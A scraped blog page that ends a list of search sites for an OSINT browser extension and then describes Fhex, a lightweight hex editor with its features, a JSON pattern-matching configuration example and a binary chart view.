Hybrid Analysis https://www.hybrid-analysis.com/ hash
Twitter https://twitter.com/ SNS, w/TimeLine
Qiita https://qiita.com SNS
GitHub https://github.com SNS
Facebook https://www.facebook.com/ SNS, w/TimeLine
Instagram https://www.instagram.com/ SNS
LinkedIn https://linkedin.com/ SNS
Pinterest https://www.pinterest.jp SNS
reddit https://www.reddit.com/ SNS

About Twitter and FaceBook could search timeline with any words.


Misc

This extension is optimized for the Japanese environment.




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Monday, February 7, 2022

Fhex - A Full-Featured HexEditor

This project is born with the aim to develop a lightweight, but useful tool. The reason is that the existing hex editors have some different limitations (e.g. too many dependencies, missing hex coloring features, etc.).


This project is based on qhexedit2, capstone and keystone engines. New features could be added in the future, PRs are welcomed.

Features
  • Chunks loader - Used to load only a portion of large files without exhaust the memory (use alt + left/right arrows to move among chunks). Please note that in chunk mode, all the operations (e.g. search) applies only to the current chunk except for file save (the entire file is saved). However, each time you edit a chunk, save it before to move to another chunk, otherwise you will lose your changes.
  • Search and replace (UTF-8, HEX, regex, reverse search supported) [CTRL + F]
  • Colored output (white spaces, ASCII characters, 0xFF, UTF-8 and NULL bytes have different colors)
  • Interpret selected bytes as integer, long, unsigned long [CTRL + B]
  • Copy & Paste [CTRL + C and CTRL + V]
  • Copy selected unicode characters [CTRL + Space]
  • Zeroing all the selected bytes [Delete or CTRL + D]
  • Undo & Redo [CTRL + Z and CTRL + Y]
  • Drag & Drop (Hint: Drag&Drop two files to diff them)
  • Overwrite the same file or create a new one [CTRL + S]
  • Goto offset [CTRL + G]
  • Insert mode supported in order to insert new bytes instead to overwrite the existing one [INS]
  • Create new instances [CTRL + N]
  • Basic text viewer for the selected text [CTRL + T]
  • Reload the current file [F5]
  • Compare two different files at byte level
  • Browsable Binary Chart (see later for details) [F1]
  • Hex - Dec number converter [F2]
  • Hex String escaper (e.g from 010203 to \x01\x02\x03) [F3]
  • Pattern Matching Engine (see later for details)
  • Disassebler based on Capstone Engine [F4]
  • Assembler based on Keystone Engine [F4]
  • Zoom-Out/Zoom-In bytes view (CTRL + Up/Down or CTRL + -/+)
  • Shortcuts for all these features
Pattern Matching Engine

Fhex can load at startup a configuration file (from ~/fhex/config.json) in JSON format with a list of strings or bytes to highlight and a comment/label to add close to the matches.

Examples:

{
"PatternMatching":
[
{
"string" : "://www.",
"color" : "rgba(250,200,200,50)",
"message" : "Found url"
},
{
"bytes" : "414243",
"color" : "rgba(250,200,200,50)",
"message" : "Found ABC"
}
]
}

To activate pattern matching press CTRL + P At the end, Fhex will show also an offset list with all the result references. Note: Labels with comments are added only if the window is maximized, if labels are not displayed correctly please try to run pattern matching again.

Binary Chart

Fhex has the feature to chart the loaded binary file (Note: In order to compile the project, now you need also qt5-charts installed on the system). The y-axis range is between 0 and 255 (in hex 0x0 and 0xff, i.e. the byte values). The x-axis range is between 0 and the filesize.

The chart plots the byte values of the binary file and let you focus only on the relevant sections. For example, if in a binary file there is an area full of null bytes, you can easily detect it from the chart.

License

GPL-3



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